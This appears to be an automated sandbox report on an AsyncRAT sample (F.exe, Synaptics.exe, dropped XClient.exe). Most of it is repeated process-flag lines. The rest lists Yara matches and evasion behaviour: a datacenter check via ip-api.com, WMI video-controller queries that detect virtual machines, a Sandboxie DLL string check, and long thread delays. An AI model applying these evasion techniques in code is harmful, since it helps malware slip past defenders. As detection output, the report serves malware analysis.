Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\svchost.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR

Yara detected AsyncRAT

Source: Yara match	File source: F.exe, type: SAMPLE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.F.exe.8cc070.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.._cache_F.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.F.exe.2257504.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.2a4f458.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.Synaptics.exe.21e5438.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.._cache_F.exe.12ac1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3303772990.0000000012AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2045892912.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2067928599.000000000299E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060756017.000000000089B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2060247485.00000000006A2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.2048511281.00000000004A5000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2068336947.00000000021D3000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: F.exe PID: 1560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: F.exe PID: 2668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 3868, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Desktop\._cache_F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\F.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, type: DROPPED

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_F.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ._cache_F.exe, 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: F.exe, Synaptics.exe.2.dr	Binary or memory string: SBIEDLL.DLLINFO

Source: C:\Users\user\Desktop\._cache_F.exe	Memory allocated: 28A0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\Desktop\._cache_F.exe	Memory allocated: 1AAB0000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Users\user\Desktop\._cache_F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
